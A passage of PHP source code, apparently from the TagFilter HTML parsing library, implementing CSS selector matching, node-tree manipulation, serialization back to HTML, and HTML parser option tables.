					if (isset($rules[$x]["not"]) && $rules[$x]["not"])  $str .= ")";

					$strs[$str] = $str;
				}

				if ($x == $y)
				{
					if (count($strs))  $groups[] = implode("", $strs);
					$str = implode(" ", $groups);
					$result[$str] = $str;
				}
			}

			return implode(", ", $result);
		}

		public function Find($query, $id = 0, $cachequery = true, $firstmatch = false)
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return array("success" => false, "error" => "Invalid initial ID.", "errorcode" => "invalid_init_id");

			if (isset($this->queries[$query]))  $result = $this->queries[$query];
			else
			{
				if (!is_array($query))  $result = TagFilter::ParseSelector($query, true);
				else if (isset($query["success"]) && isset($result["selector"]) && isset($query["tokens"]))
				{
					$result = $query;
					$result["tokens"] = TagFilter::ReorderSelectorTokens($result["tokens"], true);

					$query = $result["selector"];
				}
				else
				{
					$result = array("success" => true, "tokens" => TagFilter::ReorderSelectorTokens($query, true));

					$cachequery = false;
				}

				if ($cachequery)
				{
					foreach ($this->queries as $key => $val)
					{
						if (count($this->queries) < 25)  break;

						unset($this->queries[$key]);
					}

					$this->queries[$query] = $result;
				}
			}

			if (!$result["success"])  return $result;

			$rules = $result["tokens"];
			$numrules = count($rules);

			$result = array();
			$childcache = array();
			$oftypecache = array();
			$rootid = $id;
			$pos = 0;
			$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
			do
			{
				if (!$pos && $this->nodes[$id]["type"] === "element")
				{
					// Attempt to match a rule.
					for ($x = 0; $x < $numrules; $x++)
					{
						$id2 = $id;
						$y = count($rules[$x]);
						for ($x2 = 0; $x2 < $y; $x2++)
						{
							if ($this->nodes[$id2]["type"] === "content" || $this->nodes[$id2]["type"] === "comment")
							{
								// Always backtrack at non-element nodes since the rules are element based.
								$backtrack = !(isset($rules[$x][$x2]["not"]) && $rules[$x][$x2]["not"]);
							}
							else if (isset($rules[$x][$x2]["namespace"]) && $rules[$x][$x2]["namespace"] !== false && $rules[$x][$x2]["namespace"] !== "*" && (($rules[$x][$x2]["namespace"] === "" && strpos($this->nodes[$id2]["tag"], ":") !== false) || ($rules[$x][$x2]["namespace"] !== "" && strcasecmp(substr($this->nodes[$id2]["tag"], 0, strlen($rules[$x][$x2]["namespace"]) + 1), $rules[$x][$x2]["namespace"] . ":") !== 0)))
							{
								$backtrack = true;
							}
							else
							{
								switch ($rules[$x][$x2]["type"])
								{
									case "id":  $backtrack = (!isset($this->nodes[$id2]["attrs"]["id"]) || $this->nodes[$id2]["attrs"]["id"] !== $rules[$x][$x2]["id"]);  break;
									case "element":  $backtrack = ($rules[$x][$x2]["tag"] !== "*" && strcasecmp($this->nodes[$id2]["tag"], (isset($rules[$x][$x2]["namespace"]) && $rules[$x][$x2]["namespace"] !== false ? $rules[$x][$x2]["namespace"] . ":" : "") . $rules[$x][$x2]["tag"]) !== 0);  break;
									case "class":  $backtrack = (!isset($this->nodes[$id2]["attrs"]["class"]) || !isset($this->nodes[$id2]["attrs"]["class"][$rules[$x][$x2]["class"]]));  break;
									case "attr":
									{
										$attr = strtolower($rules[$x][$x2]["attr"]);
										if (!isset($this->nodes[$id2]["attrs"][$attr]))  $backtrack = true;
										else
										{
											$val = $this->nodes[$id2]["attrs"][$attr];
											if (is_array($val))  $val = implode(" ", $val);

											switch ($rules[$x][$x2]["cmp"])
											{
												case "=":  $backtrack = ($val !== $rules[$x][$x2]["val"]);  break;
												case "^=":  $backtrack = ($rules[$x][$x2]["val"] === "" || substr($val, 0, strlen($rules[$x][$x2]["val"])) !== $rules[$x][$x2]["val"]);  break;
												case "$=":  $backtrack = ($rules[$x][$x2]["val"] === "" || substr($val, -strlen($rules[$x][$x2]["val"])) !== $rules[$x][$x2]["val"]);  break;
												case "*=":  $backtrack = ($rules[$x][$x2]["val"] === "" || strpos($val, $rules[$x][$x2]["val"]) === false);  break;
												case "~=":  $backtrack = ($rules[$x][$x2]["val"] === "" || strpos($rules[$x][$x2]["val"], " ") !== false || strpos(" " . $val . " ", " " . $rules[$x][$x2]["val"] . " ") === false);  break;
												case "|=":  $backtrack = ($rules[$x][$x2]["val"] === "" || ($val !== $rules[$x][$x2]["val"] && substr($val, 0, strlen($rules[$x][$x2]["val"]) + 1) !== $rules[$x][$x2]["val"] . "-"));  break;
												default:  $backtrack = false;  break;
											}
										}

										break;
									}
									case "pseudo-class":
									{
										// Handle various bits of common code.
										$pid = $this->nodes[$id2]["parent"];
										$pnum = count($this->nodes[$pid]["children"]);

										$nth = (substr($rules[$x][$x2]["pseudo"], 0, 4) === "nth-");
										if ($nth && (!isset($rules[$x][$x2]["a"]) || !isset($rules[$x][$x2]["b"])))  return array("success" => false, "error" => "Pseudo-class ':" . $rules[$x][$x2]["pseudo"] . "(n)' requires an expression for 'n'.", "errorcode" => "missing_pseudo_class_expression");

										if (substr($rules[$x][$x2]["pseudo"], -6) === "-child")
										{
											if (!isset($childcache[$id2]))
											{
												$children = 0;
												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")
													{
														$childcache[$id3] = array("cx" => $children);

														$children++;
													}
												}

												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")  $childcache[$id3]["cy"] = $children;
												}
											}

											$cx = $childcache[$id2]["cx"];
											$cy = $childcache[$id2]["cy"];
										}

										if (substr($rules[$x][$x2]["pseudo"], -8) === "-of-type")
										{
											if (!isset($oftypecache[$id2]))
											{
												$types = array();
												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")
													{
														$tag = $this->nodes[$id3]["tag"];
														if (!isset($types[$tag]))  $types[$tag] = 0;

														$oftypecache[$id3] = array("tx" => $types[$tag]);

														$types[$tag]++;
													}
												}

												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")
													{
														$tag = $this->nodes[$id3]["tag"];
														$oftypecache[$id3]["ty"] = $types[$tag];
													}
												}
											}

											$tx = $oftypecache[$id2]["tx"];
											$ty = $oftypecache[$id2]["ty"];
										}

										switch ($rules[$x][$x2]["pseudo"])
										{
											case "first-child":  $backtrack = ($cx !== 0);  break;
											case "last-child":  $backtrack = ($cx !== $cy - 1);  break;
											case "only-child":  $backtrack = ($cy !== 1);  break;
											case "nth-child":  $px = $cx;  break;
											case "nth-last-child":  $px = $cy - $cx - 1;  break;
											case "first-child-all":  $backtrack = ($this->nodes[$id2]["parentpos"] !== 0);  break;
											case "last-child-all":  $backtrack = ($this->nodes[$id2]["parentpos"] !== $pnum - 1);  break;
											case "only-child-all":  $backtrack = ($pnum !== 1);  break;
											case "nth-child-all":  $px = $this->nodes[$id2]["parentpos"];  break;
											case "nth-last-child-all":  $px = $pnum - $this->nodes[$id2]["parentpos"] - 1;  break;
											case "first-of-type":  $backtrack = ($tx !== 0);  break;
											case "last-of-type":  $backtrack = ($tx !== $ty - 1);  break;
											case "only-of-type":  $backtrack = ($ty !== 1);  break;
											case "nth-of-type":  $px = $tx;  break;
											case "nth-last-of-type":  $px = $ty - $tx - 1;  break;
											case "empty":
											{
												$backtrack = false;
												foreach ($this->nodes[$id2]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element" || ($this->nodes[$id3]["type"] === "content" && trim($this->nodes[$id3]["text"]) !== ""))
													{
														$backtrack = true;

														break;
													}
												}

												break;
											}
											default:  return array("success" => false, "error" => "Unknown/Unsupported pseudo-class ':" . $rules[$x][$x2]["pseudo"] . "'.", "errorcode" => "unknown_unsupported_pseudo_class");
										}

										if ($nth)
										{
											// Calculated expression:  a * n + b - 1 = x
											// Solved for n:  n = (x + 1 - b) / a
											// Where 'n' is a non-negative integer.  When 'a' is 0, solve for 'b' instead.
											$pa = $rules[$x][$x2]["a"];
											$pb = $rules[$x][$x2]["b"];

											if ($pa == 0)  $backtrack = ($pb != $px + 1);
											else
											{
												$pn = (($px + 1 - $pb) / $pa);

												$backtrack = ($pn < 0 || $pn - (int)$pn > 0.000001);
											}
										}

										break;
									}
									case "pseudo-element":  return array("success" => false, "error" => "Pseudo-elements are not supported.  Found '::" . $rules[$x][$x2]["pseudo"] . "'.", "errorcode" => "unsupported_selector_type");
									case "combine":
									{
										switch ($rules[$x][$x2]["combine"])
										{
											case "prev-parent":
											case "any-parent":
											{
												$backtrack = ($id2 === $rootid || !$this->nodes[$id2]["parent"]);
												if (!$backtrack)  $id2 = $this->nodes[$id2]["parent"];

												break;
											}
											case "prev-sibling":
											case "any-prev-sibling":
											{
												$backtrack = ($this->nodes[$id2]["parentpos"] == 0);
												if (!$backtrack)  $id2 = $this->nodes[$this->nodes[$id2]["parent"]]["children"][$this->nodes[$id2]["parentpos"] - 1];

												break;
											}
											default:  return array("success" => false, "error" => "Unknown combiner " . $rules[$x][$x2]["pseudo"] . ".", "errorcode" => "unknown_combiner");
										}

										// For unknown parent/sibling combiners such as '~', use the rule stack to allow for backtracking to try another path if a match fails (e.g. h1 p ~ p).
										$rules[$x][$x2]["lastid"] = $id2;

										break;
									}
									default:  return array("success" => false, "error" => "Unknown selector type '" . $rules[$x][$x2]["type"] . "'.", "errorcode" => "unknown_selector_type");
								}
							}

							if (isset($rules[$x][$x2]["not"]) && $rules[$x][$x2]["not"])  $backtrack = !$backtrack;

							// Backtrack through the rule to an unknown parent/sibling combiner.
							if ($backtrack)
							{
								if ($x2)
								{
									for ($x2--; $x2; $x2--)
									{
										if ($rules[$x][$x2]["type"] === "combine")
										{
											if ($rules[$x][$x2]["combine"] === "any-parent")
											{
												$id2 = $rules[$x][$x2]["lastid"];
												if ($id2 !== $rootid && $this->nodes[$id2]["parent"])
												{
													$id2 = $this->nodes[$id2]["parent"];
													$rules[$x][$x2]["lastid"] = $id2;

													break;
												}
											}
											else if ($rules[$x][$x2]["combine"] === "any-prev-sibling")
											{
												$id2 = $rules[$x][$x2]["lastid"];
												if ($this->nodes[$id2]["parentpos"] != 0)
												{
													$id2 = $this->nodes[$this->nodes[$id2]["parent"]]["children"][$this->nodes[$id2]["parentpos"] - 1];
													$rules[$x][$x2]["lastid"] = $id2;

													break;
												}
											}
										}
									}
								}

								if (!$x2)  break;
							}
						}

						// Match found.
						if ($x2 === $y)
						{
							$result[] = $id;

							if ($firstmatch)  return array("success" => true, "ids" => $result);

							break;
						}
					}
				}

				if ($pos >= $maxpos)
				{
					if ($rootid === $id)  break;

					$pos = $this->nodes[$id]["parentpos"] + 1;
					$id = $this->nodes[$id]["parent"];
					$maxpos = count($this->nodes[$id]["children"]);
				}
				else
				{
					$id = $this->nodes[$id]["children"][$pos];
					$pos = 0;
					$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
				}
			} while (1);

			return array("success" => true, "ids" => $result);
		}

		// Filter results from Find() based on a matching query.
		public function Filter($ids, $query, $cachequery = true)
		{
			if (!is_array($ids))  $ids = array($ids);

			// Handle lazy chaining from both Find() and Filter().
			if (isset($ids["success"]))
			{
				if (!$ids["success"])  return $ids;
				if (!isset($ids["ids"]))  return array("success" => false, "error" => "Bad filter input.", "invalid_filter_ids");

				$ids = $ids["ids"];
			}

			$ids2 = array();
			if (is_string($query) && strtolower(substr($query, 0, 10)) === "/contains:")
			{
				$query = substr($query, 10);
				foreach ($ids as $id)
				{
					if (strpos($this->GetPlainText($id), $query) !== false)  $ids2[] = $id;
				}
			}
			else if (is_string($query) && strtolower(substr($query, 0, 11)) === "/~contains:")
			{
				$query = substr($query, 11);
				foreach ($ids as $id)
				{
					if (stripos($this->GetPlainText($id), $query) !== false)  $ids2[] = $id;
				}
			}
			else
			{
				foreach ($ids as $id)
				{
					$result = $this->Find($query, $id, $cachequery, true);
					if ($result["success"] && count($result["ids"]))  $ids2[] = $id;
				}
			}

			return array("success" => true, "ids" => $ids2);
		}

		// Convert all or some of the nodes back into a string.
		public function Implode($id, $options = array())
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return "";

			if (!isset($options["include_id"]))  $options["include_id"] = true;
			if (!isset($options["types"]))  $options["types"] = "element,content,comment";
			if (!isset($options["output_mode"]))  $options["output_mode"] = "html";
			if (!isset($options["post_elements"]))  $options["post_elements"] = array();
			if (!isset($options["no_content_elements"]))  $options["no_content_elements"] = array("script" => true, "style" => true);
			if (!isset($options["charset"]))  $options["charset"] = "UTF-8";
			$options["charset"] = strtoupper($options["charset"]);

			$types2 = explode(",", $options["types"]);
			$types = array();
			foreach ($types2 as $type)
			{
				$type = trim($type);
				if ($type !== "")  $types[$type] = true;
			}

			$result = "";
			$include = (bool)$options["include_id"];
			$rootid = $id;
			$pos = 0;
			$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
			do
			{
				if (!$pos && isset($types[$this->nodes[$id]["type"]]))
				{
					switch ($this->nodes[$id]["type"])
					{
						case "element":
						{
							if ($include || $rootid != $id)
							{
								$result .= "<" . $this->nodes[$id]["tag"];
								foreach ($this->nodes[$id]["attrs"] as $key => $val)
								{
									$result .= " " . $key;

									if (is_array($val))  $val = implode(" ", $val);
									if (is_string($val))  $result .= "=\"" . htmlspecialchars($val, ENT_COMPAT | ENT_HTML5, $options["charset"]) . "\"";
								}
								$result .= (!$maxpos && $options["output_mode"] === "xml" ? " />" : ">");
							}

							break;
						}
						case "content":
						case "comment":
						{
							if (isset($types["element"]) || !isset($this->nodes[$this->nodes[$id]["parent"]]["tag"]) || !isset($options["no_content_elements"][$this->nodes[$this->nodes[$id]["parent"]]["tag"]]))  $result .= $this->nodes[$id]["text"];

							break;
						}
						default:  break;
					}
				}

				if ($pos >= $maxpos)
				{
					if ($this->nodes[$id]["type"] === "element" && is_array($this->nodes[$id]["children"]))
					{
						if (($include || $rootid != $id) && isset($types[$this->nodes[$id]["type"]]))  $result .= "</" . $this->nodes[$id]["tag"] . ">";
					}

					if ($this->nodes[$id]["type"] === "element" && isset($options["post_elements"][$this->nodes[$id]["tag"]]))  $result .= $options["post_elements"][$this->nodes[$id]["tag"]];

					if ($rootid === $id)  break;

					$pos = $this->nodes[$id]["parentpos"] + 1;
					$id = $this->nodes[$id]["parent"];
					$maxpos = count($this->nodes[$id]["children"]);
				}
				else
				{
					$id = $this->nodes[$id]["children"][$pos];
					$pos = 0;
					$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
				}
			} while (1);

			return $result;
		}

		// Object-oriented access methods.  Only Get() supports multiple IDs.
		public function Get($id = 0)
		{
			if (is_array($id))
			{
				if (isset($id["success"]) && $id["ids"])  $id = $id["ids"];

				$result = array();
				foreach ($id as $id2)  $result[] = $this->Get($id2);

				return $result;
			}

			return ($id !== false && isset($this->nodes[$id]) ? new TagFilterNode($this, $id) : false);
		}

		public function GetParent($id)
		{
			return ($id !== false && isset($this->nodes[$id]) && isset($this->nodes[$this->nodes[$id]["parent"]]) ? new TagFilterNode($this, $this->nodes[$id]["parent"]) : false);
		}

		public function GetChildren($id, $objects = false)
		{
			if (!isset($this->nodes[$id]) || !isset($this->nodes[$id]["children"]) || !is_array($this->nodes[$id]["children"]))  return false;

			return ($objects ? $this->Get($this->nodes[$id]["children"]) : $this->nodes[$id]["children"]);
		}

		public function GetChild($id, $pos)
		{
			if (!isset($this->nodes[$id]) || !isset($this->nodes[$id]["children"]) || !is_array($this->nodes[$id]["children"]))  return false;

			$pos = (int)$pos;
			$y = count($this->nodes[$id]["children"]);
			if ($pos < 0)  $pos = $y + $pos;
			if ($pos < 0 || $pos > $y - 1)  return false;

			return $this->Get($this->nodes[$id]["children"][$pos]);
		}

		public function GetPrevSibling($id)
		{
			if (!isset($this->nodes[$id]) || $this->nodes[$id]["parentpos"] == 0)  return false;

			return $this->Get($this->nodes[$this->nodes[$id]["parent"]]["children"][$this->nodes[$id]["parentpos"] - 1]);
		}

		public function GetNextSibling($id)
		{
			if ($id === false || !isset($this->nodes[$id]) || $this->nodes[$id]["parentpos"] >= count($this->nodes[$this->nodes[$id]["parent"]]["children"]) - 1)  return false;

			return $this->Get($this->nodes[$this->nodes[$id]["parent"]]["children"][$this->nodes[$id]["parentpos"] + 1]);
		}

		public function GetTag($id)
		{
			return (isset($this->nodes[$id]) && $this->nodes[$id]["type"] === "element" ? $this->nodes[$id]["tag"] : false);
		}

		public function SetText($id, $val)
		{
			if (isset($this->nodes[$id]) && ($this->nodes[$id]["type"] === "content" || $this->nodes[$id]["type"] === "comment"))  $this->nodes[$id]["text"] = (string)$val;
		}

		public function GetText($id)
		{
			return (isset($this->nodes[$id]) && ($this->nodes[$id]["type"] === "content" || $this->nodes[$id]["type"] === "comment") ? $this->nodes[$id]["text"] : false);
		}

		public function Move($src, $newpid, $newpos)
		{
			$newpid = (int)$newpid;
			if (!isset($this->nodes[$newpid]) || !isset($this->nodes[$newpid]["children"]) || !is_array($this->nodes[$newpid]["children"]))  return false;

			$newpos = (is_bool($newpos) ? count($this->nodes[$newpid]["children"]) : (int)$newpos);
			if ($newpos < 0)  $newpos = count($this->nodes[$newpid]["children"]) + $newpos;
			if ($newpos < 0)  $newpos = 0;
			if ($newpos > count($this->nodes[$newpid]["children"]))  $newpos = count($this->nodes[$newpid]["children"]);

			if ($src instanceof TagFilterNodes)
			{
				if ($src === $this)  return false;

				// Bulk node import.  Doesn't remove source nodes.
				foreach ($src->nodes as $id => $node)
				{
					if ($node["type"] === "element" || $node["type"] === "content" || $node["type"] === "comment")
					{
						$node["parent"] += $this->nextid - 1;

						if (isset($node["children"]) && is_array($node["children"]))
						{
							foreach ($node["children"] as $pos => $id2)  $node["children"][$pos] += $this->nextid - 1;
						}

						$this->nodes[$id + $this->nextid - 1] = $node;
					}
				}

				// Merge root children.
				foreach ($src->nodes[0]["children"] as $pos => $id)
				{
					$this->nodes[$id + $this->nextid - 1]["parent"] = $newpid;
					array_splice($this->nodes[$newpid]["children"], $newpos + $pos, 0, array($id + $this->nextid - 1));
				}

				$this->RealignChildren($newpid, $newpos);

				$this->nextid += $src->nextid - 1;
			}
			else if (is_array($src))
			{
				// Attach the array to the position if it is valid.
				if (!isset($src["type"]))  return false;

				switch ($src["type"])
				{
					case "element":
					{
						if (!isset($src["tag"]) || !isset($src["attrs"]) || !is_array($src["attrs"]) || !isset($src["children"]))  return false;

						$src["tag"] = (string)$src["tag"];
						$src["parent"] = $newpid;

						break;
					}
					case "content":
					case "comment":
					{
						if (!isset($src["text"]) || isset($src["children"]))  return false;

						$src["text"] = (string)$src["text"];

						break;
					}
					default:  return false;
				}

				array_splice($this->nodes[$newpid]["children"], $newpos, 0, array($this->nextid));
				$this->RealignChildren($newpid, $newpos);
				$this->nextid++;
			}
			else if (is_string($src))
			{
				return $this->Move(TagFilter::Explode($src, TagFilter::GetHTMLOptions()), $newpid, $newpos);
			}
			else
			{
				// Reparents an internal id.
				$id = (int)$src;

				if (!$id || !isset($this->nodes[$id]))  return false;

				// Don't allow reparenting to a child node.
				$id2 = $newpid;
				while ($id2)
				{
					if ($id === $id2)  return false;

					$id2 = $this->nodes[$id2]["parent"];
				}

				// Detach.
				array_splice($this->nodes[$this->nodes[$id]["parent"]]["children"], $this->nodes[$id]["parentpos"], 1);
				$this->RealignChildren($this->nodes[$id]["parent"], $this->nodes[$id]["parentpos"]);

				// Attach.
				array_splice($this->nodes[$newpid]["children"], $newpos, 0, array($id));
				$this->RealignChildren($newpid, $newpos);
			}

			return true;
		}

		// When $keepchildren is true, the node's children are moved into the parent of the node being removed.
		public function Remove($id, $keepchildren = false)
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return;

			if (!$id)
			{
				if (!$keepchildren)
				{
					// Reset all nodes.
					$this->nodes = array(
						array(
							"type" => "root",
							"parent" => false,
							"parentpos" => false,
							"children" => array()
						)
					);

					$this->nextid = 1;
				}
			}
			else
			{
				// Detach the node from the parent.
				$pid = $this->nodes[$id]["parent"];
				$pos = $this->nodes[$id]["parentpos"];

				if ($keepchildren)
				{
					// Reparent the children and attach them to the new parent.
					if (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]))
					{
						foreach ($this->nodes[$id]["children"] as $cid)  $this->nodes[$cid]["parent"] = $pid;
						array_splice($this->nodes[$pid]["children"], $pos, 1, $this->nodes[$id]["children"]);
					}
					else
					{
						array_splice($this->nodes[$pid]["children"], $pos, 1);
					}

					$this->RealignChildren($pid, $pos);

					unset($this->nodes[$id]);
				}
				else
				{
					array_splice($this->nodes[$pid]["children"], $pos, 1);

					$this->RealignChildren($pid, $pos);

					// Remove node and all children.
					$rootid = $id;
					$pos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
					do
					{
						if (!$pos)
						{
							$pid = $this->nodes[$id]["parent"];
							$pos = $this->nodes[$id]["parentpos"];

							unset($this->nodes[$id]);
							if ($rootid === $id)  break;

							$id = $pid;
						}
						else
						{
							$id = $this->nodes[$id]["children"][$pos - 1];
							$pos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
						}
					} while (1);
				}
			}
		}

		public function Replace($id, $src, $inneronly = false)
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return false;

			if ($inneronly)
			{
				// Remove children.
				if (!isset($this->nodes[$id]["children"]) || !is_array($this->nodes[$id]["children"]))  return false;

				while (count($this->nodes[$id]["children"]))  $this->Remove($this->nodes[$id]["children"][0]);

				$newpid = $id;
				$newpos = 0;
			}
			else
			{
				$newpid = $this->nodes[$id]["parent"];
				$newpos = $this->nodes[$id]["parentpos"];

				$this->Remove($id);
			}

			return $this->Move($src, $newpid, $newpos);
		}

		private static function SplitAt_CopyNode($nodes, &$pid, $node)
		{
			// Copy the node.
			$node["parent"] = $pid;
			$node["parentpos"] = count($nodes->nodes[$pid]["children"]);
			if (isset($node["children"]))  $node["children"] = (is_array($node["children"]) ? array() : false);

			// Attach the node.
			$nodes->nodes[$nodes->nextid] = $node;
			$nodes->nodes[$pid]["children"][] = $nodes->nextid;

			$pid = $nodes->nextid;

			$nodes->nextid++;
		}

		public function SplitAt($ids, $keepidparents = false)
		{
			$ids2 = array();
			if (!is_array($ids))  $ids = array($ids);
			foreach ($ids as $id)  $ids2[(int)$id] = true;
			unset($ids2[0]);

			$result = array();

			// Walk the entire set of nodes, cloning until an ID match occurs (if any).
			$newnodes = new TagFilterNodes();
			$newpid = 0;
			$id = 0;
			$pos = 0;
			$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
			do
			{
				if (!$pos)
				{
					if (isset($ids2[$id]) && count($newnodes->nodes[0]["children"]))
					{
						// Found an ID match.
						$result[] = $newnodes;
						$newnodes = new TagFilterNodes();
						$newpid = 0;

						if ($keepidparents instanceof TagFilterNodes)
						{
							$newnodes = clone $keepidparents;
							$newpid = $newnodes->nextid - 1;
						}
						else if ($keepidparents)
						{
							$stack = array();
							$id2 = $this->nodes[$id]["parent"];
							while ($id2)
							{
								$stack[] = $id2;

								$id2 = $this->nodes[$id2]["parent"];
							}
							$stack = array_reverse($stack);
							foreach ($stack as $id2)
							{
								self::SplitAt_CopyNode($newnodes, $newpid, $this->nodes[$id2]);
							}
						}
					}

					if ($id)  self::SplitAt_CopyNode($newnodes, $newpid, $this->nodes[$id]);
				}

				if ($pos >= $maxpos)
				{
					if (!$id)  break;

					if (isset($ids2[$id]))
					{
						// Start a new set of nodes.
						$result[] = $newnodes;
						$newnodes = new TagFilterNodes();
						$newpid = 0;

						$stack = array();
						$id2 = $this->nodes[$id]["parent"];
						while ($id2)
						{
							$stack[] = $id2;

							$id2 = $this->nodes[$id2]["parent"];
						}
						$stack = array_reverse($stack);
						foreach ($stack as $id2)
						{
							self::SplitAt_CopyNode($newnodes, $newpid, $this->nodes[$id2]);
						}
					}
					else
					{
						$newpid = $newnodes->nodes[$newpid]["parent"];
					}

					$pos = $this->nodes[$id]["parentpos"] + 1;
					$id = $this->nodes[$id]["parent"];
					$maxpos = count($this->nodes[$id]["children"]);
				}
				else
				{
					$id = $this->nodes[$id]["children"][$pos];
					$pos = 0;
					$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
				}
			} while (1);

			if (!count($result) || count($newnodes->nodes[0]["children"]))  $result[] = $newnodes;

			return $result;
		}

		public function GetOuterHTML($id, $mode = "html")
		{
			return $this->Implode($id, array("output_mode" => $mode));
		}

		public function SetOuterHTML($id, $src)
		{
			return $this->Replace($id, $src);
		}

		public function GetInnerHTML($id, $mode = "html")
		{
			return $this->Implode($id, array("include_id" => false, "output_mode" => $mode));
		}

		public function SetInnerHTML($id, $src)
		{
			return $this->Replace($id, $src, true);
		}

		public function GetPlainText($id)
		{
			return $this->Implode($id, array("types" => "content", "post_elements" => array("p" => "\n\n", "br" => "\n")));
		}

		public function SetPlainText($id, $src)
		{
			// Convert $src to a string.
			if ($src instanceof TagFilterNodes)
			{
				$src = $src->GetPlainText(0);
			}
			else if (is_array($src))
			{
				$temp = new TagFilterNodes();
				$temp->Move($src, 0, 0);

				$src = $temp->GetPlainText(0);
			}
			else if (!is_string($src))
			{
				$src = $this->GetPlainText((int)$src);
			}

			$src = array(
				"type" => "content",
				"text" => (string)$src,
				"parent" => false,
				"parentpos" => false
			);

			return $this->Replace($id, $src, true);
		}

		private function RealignChildren($id, $pos)
		{
			$y = count($this->nodes[$id]["children"]);
			for ($x = $pos; $x < $y; $x++)  $this->nodes[$this->nodes[$id]["children"][$x]]["parentpos"] = $x;
		}
	}

	class TagFilter
	{
		// Internal callback function for extracting interior content of HTML 'script' and 'style' tags.
		public static function HTMLSpecialTagContentCallback($stack, $final, &$tag, &$content, &$cx, $cy, &$content2, $options)
		{
			if (preg_match('/<\s*\/\s*' . $stack[0]["tag_name"] . '(\s*|\s+.+?)>/is', $content, $matches, PREG_OFFSET_CAPTURE, $cx))
			{
				$pos = $matches[0][1];

				$content2 = substr($content, $cx, $pos - $cx);
				$cx = $pos;
				$tag = true;

				return true;
			}
			else
			{
				if ($final)
				{
					$content2 = substr($content, $cx);
					$cx = $cy;
				}

				return false;
			}
		}

		public static function GetHTMLOptions()
		{
			$result = array(
				"tag_name_map" => array(
					"!doctype" => "DOCTYPE"
				),
				"untouched_tag_attr_keys" => array(
					"doctype" => true,
				),
				"void_tags" => array(
					"DOCTYPE" => true,
					"area" => true,
					"base" => true,
					"bgsound" => true,
					"br" => true,
					"col" => true,
					"embed" => true,
					"hr" => true,
					"img" => true,
					"input" => true,
					"keygen" => true,
					"link" => true,
					"menuitem" => true,
					"meta" => true,
					"param" => true,
					"source" => true,
					"track" => true,
					"wbr" => true
				),
				// Alternate tag internal content rules for specialized tags.
				"alt_tag_content_rules" => array(
					"script" => __CLASS__ . "::HTMLSpecialTagContentCallback",
					"style" => __CLASS__ . "::HTMLSpecialTagContentCallback"
				),
				// Stored as a map for open tag elements.
				// For example, '"address" => array("p" => true)' means:  When an open 'address' tag is encountered,
				// look for an open 'p' tag anywhere (no '_limit') in the tag stack.  Apply a closing '</p>' tag for all matches.
				//
				// If '_limit' is defined as a string or an array, then stack walking stops as soon as one of the specified tags is encountered.
				"pre_close_tags" => array(
					"body" => array("body" => true, "head" => true),

					"address" => array("p" => true),
					"article" => array("p" => true),
					"aside" => array("p" => true),
					"blockquote" => array("p" => true),
					"div" => array("p" => true),
					"dl" => array("p" => true),
					"fieldset" => array("p" => true),
					"footer" => array("p" => true),
					"form" => array("p" => true),
					"h1" => array("p" => true),
					"h2" => array("p" => true),
					"h3" => array("p" => true),
					"h4" => array("p" => true),
					"h5" => array("p" => true),
					"h6" => array("p" => true),
					"header" => array("p" => true),
					"hr" => array("p" => true),
					"menu" => array("p" => true),
					"nav" => array("p" => true),
					"ol" => array("p" => true),
					"pre" => array("p" => true),
					"section" => array("p" => true),
					"table" => array("p" => true),
					"ul" => array("p" => true),
					"p" => array("p" => true),

					"tbody" => array("_limit" => "table", "thead" => true, "tr" => true, "th" => true, "td" => true),
					"tr" => array("_limit" => "table", "tr" => true, "th" => true, "td" => true),
					"th" => array("_limit" => "table", "th" => true, "td" => true),
					"td" => array("_limit" => "table", "th" => true, "td" => true),
					"tfoot" => array("_limit" => "table", "thead" => true, "tbody" => true, "tr" => true, "th" => true, "td" => true),

					"optgroup" => array("optgroup" => true, "option" => true),
					"option" => array("option" => true),

					"dd" => array("_limit" => "dl", "dd" => true, "dt" => true),
					"dt" => array("_limit" => "dl", "dd" => true, "dt" => true),

					"colgroup" => array("colgroup" => true),

					"li" => array("_limit" => array("ul" => true, "ol" => true, "menu" => true, "dir" => true), "li" => true),
				),
				"process_attrs" => array(
					"class" => "classes",
					"href" => "uri",
					"src" => "uri",
					"dynsrc" => "uri",
					"lowsrc" => "uri",
					"background" => "uri",
				),
				"keep_attr_newlines" => false,
				"keep_comments" => false,
				"allow_namespaces" => true,
				"charset" => "UTF-8",
				"charset_tags" => true,
				"charset_attrs" => true,
				"output_mode" => "html",
				"lowercase_tags" => true,
				"lowercase_attrs" => true,
			);

			return $result;
		}

		public static function Run($content, $options = array())
		{
			$tfs = new TagFilterStream($options);
			$tfs->Finalize();
			$result = $tfs->Process($content);

			// Clean up output.
			$result = trim($result);
			$result = self::CleanupResults($result);

			if (function_exists("gc_mem_caches"))  gc_mem_caches();

			return $result;
		}

		public static function CleanupResults($content)
		{
			$result = str_replace("\r\n", "\n", $content);
			$result = str_replace("\r", "\n", $result);
